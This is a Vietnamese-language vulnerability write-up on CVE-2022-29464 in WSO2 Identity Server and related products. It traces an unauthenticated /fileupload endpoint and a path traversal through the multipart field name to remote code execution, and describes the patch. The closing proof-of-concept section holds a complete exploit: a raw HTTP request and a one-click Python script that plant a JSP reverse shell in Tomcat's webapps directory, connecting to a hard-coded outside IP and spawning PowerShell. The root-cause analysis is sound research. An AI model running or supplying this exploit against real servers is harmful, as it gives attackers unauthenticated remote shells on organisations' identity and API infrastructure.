(Vietnamese) CVE-2022-29464, WSO2 unrestricted arbitrary file upload leads to RCE
My deep dive analysis into CVE-2022-29464
I. Overview
CVE-2022-29464 là lỗ hổng nghiêm trọng dẫn đến thực thi mã từ xa (RCE) ảnh hưởng đến các ứng dụng của WSO2 bao gồm API Manager, Identity Server, Enterprise Integrator và Open Banking. Lỗ hổng xuất phát từ tính năng upload file nhưng không kiểm tra tên và nội dung của tệp, tạo điều kiện cho phép kẻ tấn công tải lên mã độc kết hợp kỹ thuật Path Traversal đặt tệp vào vị trí tùy ý, từ đó khiến các tệp độc hại trên tự động được thực thi.
Hình ảnh minh hoạ một Infection Chain khai thác lỗ hổng CVE-2022-29464 trên WSO2: kẻ tấn công cài đặt web shell thông qua tệp JSP/WAR, từ đó thực thi mã để triển khai Cobalt Strike (backdoor) và cài đặt phần mềm đào tiền ảo.
1. About WSO2
Trước tiên, ta cần biết tới WSO2 - một công ty middleware mã nguồn mở dẫn đầu trong sản xuất phần mềm cho phép quản lý và điều hành các giao diện lập trình ứng dụng (API), quản lý danh tính và truy cập (IAM), cũng như việc triển khai - tích hợp phần mềm và hệ thống.
Các tổ chức trong nhiều lĩnh vực như dịch vụ tài chính, y tế, chính phủ, viễn thông và bán lẻ đều sử dụng sản phẩm của WSO2. Các sản phẩm này được thiết kế để các doanh nghiệp kết nối những hệ thống riêng lẻ khác nhau, giúp chia sẻ dữ liệu và chức năng giữa chúng.
Các sản phẩm kể trên đều được viết bằng Java, ngoài ra một số dịch vụ như WSO2 Identity Server và API Manager, … có tích hợp thêm tính năng upload file – yếu tố liên quan trực tiếp đến lỗ hổng CVE-2022-29464.
2. Products and their particular version affected by this CVE
- WSO2 API Manager 2.2.0 - 4.0.0
- WSO2 Identity Server 5.2.0 - 5.11.0
- WSO2 Identity Server Analytics 5.4.0 - 5.6.0
- WSO2 Identity Server as Key Manager 5.3.0 - 5.10.0
- WSO2 Enterprise Integrator 6.2.0 - 6.6.0
- WSO2 Open Banking AM 1.3.0 - 2.0.0
- WSO2 Open Banking KM 1.3.0 - 1.5.0
- WSO2 Open Banking IAM 2.0.0
II. Set up local debug environment
Ở đây, mình sử dụng IDE Intellij với JDK 11.0.3 để phù hợp với ứng dụng bị ảnh hưởng của WSO2. Chúng ta có thể chọn một ứng dụng có phiên bản bị ảnh hưởng bất kỳ trong số những cái được nêu bên trên, ở đây mình chọn wso2is ver 5.10.0
- JDK11: https://jdk.java.net/archive/
- WSO2 Identity Server 5.10.0: https://github.com/wso2/product-is/releases/tag/v5.10.0
Sau khi tải source code WSO2 Identity Server 5.10.0, tiến hnàh giải nén và mở nó trong Intellij. Giờ ta sẽ thực hiện một số việc cần thiết để có thể debug được route chứa CVE-2022-29464
Đầu tiên, nếu trong máy đang có nhiều phiên bản Java, chúng ta sẽ sử dụng powershell để set tạm biến môi trường JAVA trong phiên làm việc hiện tại của Intellij về JDK11 (mục này nhằm phục vụ nhát nữa chạy file bat)
1
2
$env:JAVA_HOME = "path to JDK11 folder"
$env:Path = "$env:JAVA_HOME\bin;$env:Path"
Tại cửa sổ Project Structure (CTRL ALT SHIFT S), cũng chỉ định JDK version trỏ vào thư mục tương tự như trên
Tiếp theo, ta chọn edit configuration ở khu vực run - debug của Intellij và tạo thêm 2 config profile, bao gồm:
- Remote JVM Debug: dùng để gắn debugger vào một JVM đang chạy (remote debugging) => Chỉ cần add thêm và tự động được điền các thông số
- JAR Application: chạy ứng dụng từ file WAR/JAR trong Intellij, cho phép IDE load và decompile các class để đọc mã nguồn => Chọn file cần load tại
\repository\components\plugins\org.wso2.carbon.ui_4.6.0.jar
Sau khi hoàn thành bước trên, chúng ta sẽ thấy phần nội dung của file JAR org.wso2.carbon.ui_4.6.0.jar đã được hiển thị chi tiết. Có thể thấy tại org.wso2.carbon.ui/transports/fileupload có hiển thị class FileUploadServlet, đây chính là class xử lý route gây ra lỗ hổng được phân tích trong bài
Tại /bin/wso2server.bat ta tiến hành thêm lệnh nhận remote debug vào ngay sau :runServer, cụ thể:
1
2
3
4
5
6
:runServer
cd %CARBON_HOME%
rem =====================================
set JAVA_OPTS=%JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
rem =====================================
Sau đó, ta có thể chạy thử remote debug vừa cài, nếu báo về Connected tức ta đã thành công
Vậy là đã hoàn thành việc set up, giờ ta sẽ chạy file wso2server.bat tương ứng với OS Windows để khởi chạy WSO2 Identity Server tại local. Đặt một breakpoint tại method doPost của class FileUploadServlet để tiện test remote debug hoạt động
Tiến hành tạo một request sao cho trigger breakpoint trên:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Length: 157
------WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Disposition: form-data; name="./"; filename="hehe.jsp"
hehe
------WebKitFormBoundaryRXZulECZUI6kfQJ2--
Tiến hành send req và sau đó breakpoint đã hit trong Intellij, vậy là mình đã thành công set up được môi trường để debug CVE-2022-29464
III. Root Cause
Trong phần nội dung này, mình sẽ giải thích chi tiết về nguyên nhân gốc rễ trong từng cấu hình, từng cách triển khai code đã dẫn tới lỗ hổng. Những thông tin đều được mình trích từ những nguồn tài liệu / nội dung chính thống của WSO2 Identity Server version 5.10.0 lấy tại đây (không phải nguồn trust me bro từ các bài blog ngẫu nhiên)
Nguyên nhân gốc rễ của lỗ hổng xuất phát từ việc có nhiều sai sót trong cấu hình và triển khai mã nguồn chương trình dẫn đến việc kẻ tấn công có thể thực thi các tệp JSP hoặc code Java Web Application Archive (WAR). Cụ thể, những lỗi khác nhau đã cấu thành nên lỗ hổng bao gồm:
- Cho phép mọi request hướng tới các đường dẫn chứa
/fileuploadhoặc/fileupload/được phép truy cập mà không cần xác thực - Trường
filenametrong header Content-Disposition của HTTP request có thể bị Path Traversal bằng chuỗi đường dẫn dạng../do không được kiểm tra nội dung trước khi thực thi - Các trình xử lý tệp (file handlers) phụ trách các loại tệp tải lên sẽ thực thi tệp JSP hoặc code nằm trong WAR
First glance at the Patch for this CVE
Vì là một CVE n-day, các thông tin về bản vá cũng như cách phòng chống đã có đầy đủ trên document của WSO2, cụ thể là tại mục References của tài liệu này. Trong phần nội dung này có trích dẫn 2 pull request quan trọng
Với tiêu đề Remove Unnecessary file uploader classes and improve parent path validation. #3152, ta có thể hiểu đây là pull request patch lại lỗ hổng được phát hiện từ CVE-2022-29464. Đi sâu hơn vào những gì đã được chỉnh sửa trong lần merge code này, ta có thể chú ý những điểm quan trọng như sau:
- Xoá các file
AnyFileUploadExecutor.java, JarZipUploadExecutor.java, KeyStoreFileUploadExecutor.java, ToolsAnyFileUploadExecutor.java, ToolsFileUploadExecutor.javađồng thời xoá mapping củaFileUploadConfigtạicore/org.wso2.carbon.base/src/test/resources/carbon.xml
- Tại
..../services/fileupload/FileUploadService.java, xuất hiện một hàm mới tên làverifyCanonicalDestination(). Nội dung của hàm này được đề cập ở ngay phía bên dưới lời gọi hàm
Giải thích chi tiết về cách hàm trên hoạt động:
- Nhận vào 3 tham số là
extraFileLocation: đường dẫn phụ vào thư mục con (kiểu/uploads/logs hoặc /uploads/profile) thì logs và profile được gọi là extraFileLocationdirs: Thư mục mà ta cho phép người dùng upload file lênfilename: Tên file user muốn upload
- Sử dụng
getCanonicalPath()đây là một method củajava.io.Filecó tác dụng loại bỏ các dấu.và..trong path nếu có xuất hiện
Sử dụng các thuộc tính trên, họ kiểm tra thư mục sau khi qua getCanonicalPath() của một là expected directory và một là user case directory. Tức nếu user có tiến hành thêm ../ để Path Traversal upload vào thư mục khác thì sẽ false cái điều kiện trên ngay và nhảy vào trong câu lệnh điều kiện if => Trả về Fault và ngăn upload file
=> Từ những phân tích trên, ta có thể biết endpoint /fileupload cùng FileUploadServlet và những file bị xoá sẽ có một tác dụng gì đó trong quá trình reproduce CVE
1. Unauthenticated access to /fileupload*
Đầu tiên, ta cần tìm hiểu những phần nào được triển khai để làm nhiệm vụ quản lý Access Control của WSO2 IS 5.10.0, từ đó nhận biết được lí do tại sao lại có thể truy cập vào endpoint /fileupload/* mà không cần xác thực
Trong tài liệu mô tả của WSO2 Identity Server 5.10.0, mình tìm thấy một hình ảnh minh hoạ cách các sản phẩm của WSO2 triển khai việc quản lý các chức năng của người dùng:
Để dễ hình dung, mình sẽ miêu tả lại lược đồ trên bằng lời. Ta có thể hiểu trong các sản phẩm của WSO2 có một thành phần gọi là User Realm. User Realm này bao gồm các cấu hình cần thiết để khởi tạo chính nó.
Cụ thể những cấu hình cần thiết đó được đặt tại file deployment.toml nằm ở directory <IS_HOME>/repository/conf/. Trong WSO2 IS 5.10.0, mình thấy nó được cấu hình như này:
Hiện tại, những thông tin của cấu hình ứng dụng IS 5.10.0 ở deployment.toml chưa có gì bất thường hoặc nguy hiểm để kết luận nó là nguyên nhân gây ra lỗ hổng (vì hiện nó không config gì liên quan tới authenticate). Thế nhưng không phải mỗi deployment.toml là nơi duy nhất thực hiện xác thực client request. Những vị trí còn lại thực hiện chức năng này mới là nơi gây ra lỗ hổng này
1.1 Security Misconfiguration 1
Vậy là chúng ta đã có cái nhìn rõ ràng hơn về cách User Access Control trong WSO2 được triển khai. Giờ ta sẽ kiểm tra thêm những thông tin về authenticate của endpoint /fileupload trong source code WSO2 Identity Server version 5.10.0, ta thấy có những config đáng chú ý sau đây:
Như có thể thấy, tại /repository/conf/identity/identity.xml. Ta có secured="false" với tất cả các truy cập vào /fileupload
1
<Resource context="(.*)/fileupload(.*)" secured="false" http-method="all"/>
Trong cấu hình của WSO2, theo mình tìm hiểu được từ nội dung của bài đăng này trên StackOverFlow và tại WSO2 doc (ảnh dưới đây), ta có thể tóm lược như sau:
Việc kiểm soát bảo mật cho các endpoint của các ứng dụng WSO2 mặc định được định nghĩa trong file identity.xml, nằm tại thư mục /repository/conf/identity
Vớisecured="true" => Các request gửi tới endpoint này sẽ được yêu cầu phải xác thực, nếu chưa xác thực sẽ return về 401 Unauthorized
Để giải quyết vấn đề trên, ta có 2 hướng:
- Gửi kèm credentials trong header
Authorization: Basic base64encoded(username:password) - Tắt luôn chức năng secure bằng cách
secure="false"=> Không cần xác thực nữa
Vậy là trong trường hợp của CVE này, lập trình viên đã vô tình tắt luôn cả chức năng xác thực của endpoint /fileupload dẫn tới việc có thể thao tác với endpoint này mà không cần một credentials => 1st Security Misconfiguration.
1.2 Security Misconfiguration 2
Chưa dừng lại ở một Security Misconfiguration duy nhất, ta có lỗi Security Misconfiguration thứ hai đến từ cách hàm handleSecurity() triển khai bảo mật với các request đi vào server.
Về cụ thể vì sao chắc chắn handleSecurity sẽ được gọi thì theo mình tìm hiểu được, việc này đến từ mặc định của HttpContext là sẽ luôn gọi handleSecurity() để chặn req và kiểm tra bảo mật trước khi làm bất cứ điều gì. Mặc dù chưa tìm được tài liệu đề cập chính xác đến vấn đề này của WSO2 mà chỉ thấy nhận định trong các bài blog, mình vẫn có thể chứng minh được quan điểm này là chính xác qua những luận cứ dưới đây
Mình tiến hành tìm hàm này trong source code, đặt breakpoint tại vị trí tương ứng lời gọi hàm để kiểm tra liệu breakpoint có được hit
Upload thử một file vào endpoint /fileupload như mình đã làm khi set up debug, ta thấy breakpoint đã thực sự được hit. Trong stacktrace ta có thể thấy thứ tự gọi như sau:
- CarbonSecuredHttpContext gọi method handleSecurity
- CarbonUILoginUtil gọi method handleLoginPageRequest
Ở đây mình có pause lại để tìm hiểu thêm về lý do handleSecurity() được gọi, theo như góc nhìn cá nhân của mình nhận định lý do như sau, ta hãy xem sơ đồ quan hệ bên dưới:
- Phương thức
handleSecurity()nằm trong classCarbonSecuredHttpContext - Class
CarbonSecuredHttpContextkế thừa từ classSecuredComponentEntryHttpContext - Class
SecuredComponentEntryHttpContextlại kế thừa từ classBundleEntryHttpContext - Class
BundleEntryHttpContextđược import thẳng từ thư việnorg.eclipse.equinox.http.helper.BundleEntryHttpContext
Thực sự mình cũng không tìm được nhiều thông tin về thư viện trên cũng như BundleEntryHttpContext, nhưng theo cách đặt tên mình sẽ ngầm hiểu nó về bản chất vẫn extends từ HTTPContext raw của org.osgi.service.http.
Ngoài ra, các Servlet của Java trong trường hợp của WSO2 IS 5.10.0 này được khởi tạo từ httpService, Servlet chịu trách nhiệm xử lý request từ client, sau đó giao tiếp với các thành phần khác trong hệ thống như cơ sở dữ liệu, phần back-end logic của ứng dụng rồi tạo phản hồi ngược lại
Các Servlet sử dụng commonContext, được khởi tạo với kiểu dữ liệu HttpContext, là một instance của CarbonSecuredHTTPContext:
Trong tài liệu của thư viện này mô tả HTTPContext cùng method handle Security của nó như sau:
Note: HTTPContext defines methods that the Http Service may call to get information about a registration.
Như vậy với lập luận và hình ảnh tài liệu trên, ta thấyhanldeSecurity() được ưu tiên gọi trước khi thao tác bất cứ điều gì với request để kiểm tra bảo mật => Vấn đề đã có lời giải
Thông qua việc debug và suy luận, mình đã thành công chứng minh được handleSecurity() của class CarbonSecuredHttpContext được gọi. Việc này có ý nghĩa cụ thể như sau:
handleSecurity()là phương thức chịu trách nhiệm bảo mật cho các route mà WSO2 có, đồng thời cung cấp cơ chế thực hiện các kiểm tra bảo mật trên HTTP request nhận đượchandleSecurity()sẽ gọi phương thứchandleLoginPageRequest()của classCarbonUILoginUtil, và dựa trên giá trị trả về của nó mà quyết định cho phép hay từ chối truy cập vào đường dẫn được yêu cầu
Nội dung của phương thức trên được triển khai như dưới đây, vì phần câu lệnh if rất dài nên thay vì ảnh mình sẽ để nguyên source code bên dưới đây. Ta sẽ chỉ quan tâm đến câu lệnh điều kiện - if đầu tiên:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
protected static int handleLoginPageRequest(String requestedURI, HttpServletRequest request, HttpServletResponse response, boolean authenticated, String context, String indexPageURL) throws IOException {
if (requestedURI.indexOf("login.jsp") <= -1 && requestedURI.indexOf("login_ajaxprocessor.jsp") <= -1 && requestedURI.indexOf("admin/layout/template.jsp") <= -1 && !requestedURI.endsWith("/filedownload") && !requestedURI.endsWith("/fileupload") && requestedURI.indexOf("/fileupload/") <= -1 && requestedURI.indexOf("login_action.jsp") <= -1 && requestedURI.indexOf("admin/jsp/WSRequestXSSproxy_ajaxprocessor.jsp") <= -1 && requestedURI.indexOf("tryit/JAXRSRequestXSSproxy_ajaxprocessor.jsp") <= -1) {
return 2;
}
// From here above
else if ((requestedURI.indexOf("login.jsp") > -1 || requestedURI.indexOf("login_ajaxprocessor.jsp") > -1 || requestedURI.indexOf("login_action.jsp") > -1) && authenticated) {
if (request.getSession().getAttribute("tenantDomain") != null) {
String tenantDomain = (String)request.getSession().getAttribute("tenantDomain");
if (tenantDomain != null && !"carbon.super".equals(tenantDomain)) {
context = context + "/t/" + tenantDomain;
}
}
if (log.isDebugEnabled()) {
log.debug("User already authenticated. Redirecting to " + indexPageURL);
}
response.sendRedirect(context + "/carbon/admin/index.jsp");
return 0;
} else if (requestedURI.indexOf("login_action.jsp") > -1 && !authenticated) {
if (log.isDebugEnabled()) {
log.debug("User is not yet authenticated and now trying to get authenticated;do nothing, leave for authentication at the end");
}
return 2;
} else {
if (log.isDebugEnabled()) {
log.debug("Skipping security checks for " + requestedURI);
}
return 1;
}
}
Theo góc nhìn của mình, đọc lại đoạn code trên của dev triển khai chức năng trong handleLoginPageRequest(), mình đang hiểu họ muốn thực hiện như sau:
- Return 0: Nếu request tới trang login và người dùng đã xác thực (authenticated = 1), thì sẽ redirect người dùng tới trang chính (index.jsp) vì họ đã đăng nhập rồi, không cần phải đăng nhập lại
- Return 2: Nếu request tới trang login và người dùng chưa xác thực (authenticated = 0), thì sẽ không làm gì
- Return 1: Nếu yêu cầu không phải là trang login hoặc các trang đặc biệt như /fileupload, thì sẽ bỏ qua kiểm tra bảo mật và cho phép tiếp tục xử lý bình thường
Thế nhưng mình cũng không hiểu tại sao họ lại thêm /fileupload và /fileupload/ và trong câu lệnh điều kiện dưới đây
1
2
3
4
// ta chỉ cần quan tâm tới 2 điều kiện này
if (.... && !requestedURI.endsWith("/fileupload") && requestedURI.indexOf("/fileupload/") <= -1 && ....){
return 2;
}
Theo logic đoạn check này:
- Hoặc tìm thấy
/fileupload/trong requestedURI, ở bất cứ vị trí nào - Hoặc requestedURI kết thúc với
/fileupload
=> Sẽ không rơi vào 2 nhánh if và else if => từ đó rơi vào nhánh else và return 1 (Skipping security test for .....) tức cho phép truy cập nhánh mà không cần authentication => 2nd Security Misconfiguration
1.5 Debug analysis, ToolAny
Với việc CarbonUILoginUtil.handleLoginPageRequest() trả về CarbonUILoginUtil.RETURN_TRUE, thì handleSecurity() của CarbonSecuredHttpContext sẽ trả về true, từ đó quyền truy cập sẽ được cấp cho /fileupload/* mà không cần authentication
Sau khi trải qua quá trình xác thực nửa vời, ta tới được FileUploadServlet, khi này với những request gửi tới là method POST, chương trình sẽ xử lý logic trong doPost, nếu là GET thì sẽ bị return về 406
method doPost của FileUploadServlet chỉ forward request và response sang cho fileUploadExecutorManager.execute(), mình tiến hành đi vào method này để phân tích thêm, thì trong method này có những phần nội dung quan trọng như sau:
- Tách request URL ngay sau chuỗi
fileupload/, tức là nó sẽ lấy ra toàn bộ phần nằm sau/fileupload/trong request URL và gán nó vào actionString - Giá trị hiện tại của actionString là
toolsAnyvới payload mình truyền vào endpoint/fileupload/toolsAny
1
2
3
4
5
6
7
8
9
FileUploadExecutionHandlerManager execHandlerManager = new FileUploadExecutionHandlerManager();
CarbonXmlFileUploadExecHandler carbonXmlExecHandler = new CarbonXmlFileUploadExecHandler(request, response, actionString);
execHandlerManager.addExecHandler(carbonXmlExecHandler);
OSGiFileUploadExecHandler osgiExecHandler = new OSGiFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(osgiExecHandler);
AnyFileUploadExecHandler anyFileExecHandler = new AnyFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(anyFileExecHandler);
execHandlerManager.startExec();
return true;
- actionString được truyền vào hàm khởi tạo của
carbonXmlExecHandlerđể lưu lại giá trị này execHandlerManagerlà một instance củaFileUploadExecutionHandlerManager, đúng như tên gọi ta có thể hiểu nó chịu trách nhiệm xử lý thực thi file được upload lên- Ngoài ra, có 2 object khác cũng được khởi tạo và truyền vào
execHandlerManagerbằng methodaddExecHandlercủa nó, nhưng không bao gồm actionString như thằngcarbonXmlExecHandler
Sau khi khởi tạo xong, chương trình sẽ gọi method startExec() của execHandlerManager. Rồi từ đây lại gọi method execute() của firstHandler, tức thằng Handler được truyền vào đầu tiên ban nãy (CarbonXmlFileUploadExecHandler)
Tại đây, nó loop qua một cái HashMap nhưng điều mình thắc mắc trước hết là HashMap này đã được khởi tạo giá trị ở đâu, và có ý nghĩa như thế nào?
Đi tìm câu trả lời, mình mò theo keyword là executorMap, ngay trong cùng file class này mình đã tìm thấy một method tên loadExecutorMap(). Tóm tắt nội dung của phương thức này, nó đang load các dữ liệu ở file carbon.xml, cụ thể hơn là load các action và class tại FileUploadConfig
1
2
3
Iterator actionElementIterator = actionsElement.getChildrenWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Action"));
........
OMElement classElement = mapppingElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Class"));
Với cách set up như vậy tại /repository/conf/carbon.xml, mỗi action bây giờ sẽ được xử lý bởi chính handler nó được chỉ được trong tag <Class>
loadExecutorMap() được gọi bởi constructor của FileUploadExecuteManager, song lời khởi tạo một instance của class này lại tới từ method init() của FileUploadServlet, mặc định method này được Tomcat gọi khi servlet FileUploadServlet deploy lần đầu tiên lên server. Tức HashMap đã được load ngay từ khi deploy lên production => Đã có câu trả lời cho việc HashMap ở đâu ra
Quay trở lại với vòng loop qua HashMap với các actionString và Class xử lý tương ứng của nó:
Chương trình lặp qua một lượt HashMap, kiểm tra xem giá trị key tức actionString trong HashMap nào bằng actionString của mình truyền vào, ở đây là toolsAny thì sẽ khớp với Object tương ứng, như ta có thể thấy trong HashMap dưới đây object của toolsAny là ToolsAnyFileUploadExecutor
Chương trình sẽ gọi method executeGeneric() của Object tương ứng actionString, ở đây ToolsAnyFileUploadExecutor không tồn tại method này nhưng vì là kế thừa từ class AbstractFileUploadExecutor nên sẽ gọi trực tiếp tới method của class cha
Tại method này của class cha, đầu tiên nó kiểm tra trước tiên request phải là multipart POST, sau đó trích xuất file upload, đảm bảo có ít nhất một file được upload và kiểm tra kích thước file không vượt quá giới hạn thông qua method parseRequest(). Vì phần nội dung này theo mình đánh giá là không quan trọng nên mình sẽ không tập trung sâu hơn
Sau đó, nó lại gọi tới method execute() của ToolsAnyFileUploadExecutor. Đây chính là vị trí gây ra lỗi Path Traversal, root cause thứ 2 xuất hiện tại đây
2. Path Traversal at filename
Vậy là hiện tại ta đã step into method execute() của ToolsAnyFileUploadExecutor
Mình tập trung vào dòng File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());, để mình phân tích qua ý nghĩa khi code như thế này:
- Dòng này đang sử dụng interface
FileItemđược kế thừa từjava.io.Serializableđể thao tác với đường dẫn dirlà thư mục đích đã được tạo trước:
1
2
3
String serviceUploadDir = WORK_DIR + "/extra/" + uuid + "/";
File dir = new File(serviceUploadDir);
dir.mkdirs();
- method
getFieldNametrả về trường name được set trong multipart form của request được user gửi đi (untrusted data), được miêu tả cụ thể tại đây
Với cách khởi tạo hiện tại new File(dir, fileItem.getFileItem().getFieldName()), đây là một việc làm nguy hiểm bởi hành vi của java.io.File khi resolve parent - child path được truyền vào, cụ thể ta có thể đọc thêm tại bài StackOverFlow này hoặc bài viết phân tích chi tiết này
Tại tài liệu chi tiết về cách sử dụng với trường hợp tham số truyền vào parent là FileObject, child là String, mình tìm được nó miêu tả như sau
Điều này có nghĩa là nếu truyền vào child là ../../hehe thì tổng đường dẫn sẽ là parent/../../hehe. Giờ thì mình sẽ chứng minh điều này bằng cách debug
Mình thử upload 1 file với tên bất kỳ lên và tìm kiếm nó trong thư mục gốc, kết quả như ta thấy nó theo format ./tmp/work/extra/$uuid/$filename
Tóm lại, root cause dẫn tới lỗi Path Traversal là tới từ việc sử dụng new File(File parent, String child), với child getFieldName() nhận user input mà không được kiểm tra, sàng lọc kỹ lưỡng
Ta có thể ngăn chặn việc bị Path Traversal này bằng cách sử dụng method getCanonicalPath(), method này sẽ remove tất cả . và .. chỉ để lại absoulute path. Hoặc nếu vẫn muốn sử dụng như hiện tại, ta cần đảm bảo user input được sàng lọc cẩn thận bằng cách sử dụng whitelist để cho phép những ký tự an toàn.
Như vậy là thông qua Unauthenticated File Upload và Path Traversal, giờ mình đã có thể upload bất kỳ tệp gì lên server, vào bất cứ vị trí nào mình mong muốn. Giờ mình chỉ cần tìm một vị trí nào đó để upload một web shell và server thực thi nó là có thể RCE thành công
WSO2 chạy trên Tomcat, vì vậy nên đơn giản nhất là mình tìm vị trí thư mục này được đặt và upload các web shell vào đó, webapps của Tomcat giống như var/www/html của PHP, là root directory và mọi file (PHP và JSP/WAR tương ứng) được đặt vào đó đều có khả năng bị thực thi.
IV. PoC - Proof of Concepts
Rev shell payload, Host server là Window nên cần sử dụng command của Powershell, cụ thể:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
POST /fileupload/toolsAny HTTP/1.1
Host: 127.0.0.1:9443
User-Agent: hehe
Accept: */*
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Length: 1237
------WebKitFormBoundaryRXZulECZUI6kfQJ2
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/accountrecoveryendpoint/finalAnhcd3.jsp"; filename="finalAnhcd3.jsp"
<%@ page import="java.io.*,java.net.*" %>
<%
String host = "161.248.30.56";
int port = 1337;
String cmd = "powershell";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0)
so.write(pi.read());
while (pe.available() > 0)
so.write(pe.read());
while (si.available() > 0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
%>
------WebKitFormBoundaryRXZulECZUI6kfQJ2--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# 1-Click Python Script POC
import requests
url = "http://127.0.0.1:9443/fileupload/toolsAny"
jsp_payload = """<%@ page import="java.io.*,java.net.*" %>
<%
String host = "161.248.30.56";
int port = 1337;
String cmd = "powershell";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (pi.available() > 0) so.write(pi.read());
while (pe.available() > 0) so.write(pe.read());
while (si.available() > 0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
%>
"""
field_name = "../../../../repository/deployment/server/webapps/accountrecoveryendpoint/finalAnhcd3.jsp"
headers = {
"User-Agent": "hehe",
"Accept": "*/*",
"Connection": "close"
}
files = {
field_name: ("finalAnhcd3.jsp", jsp_payload, "application/octet-stream")
}
response = requests.post(url, headers=headers, files=files, verify=False)
print("[+] Status:", response.status_code)
print("[+] Response text:", response.text)




































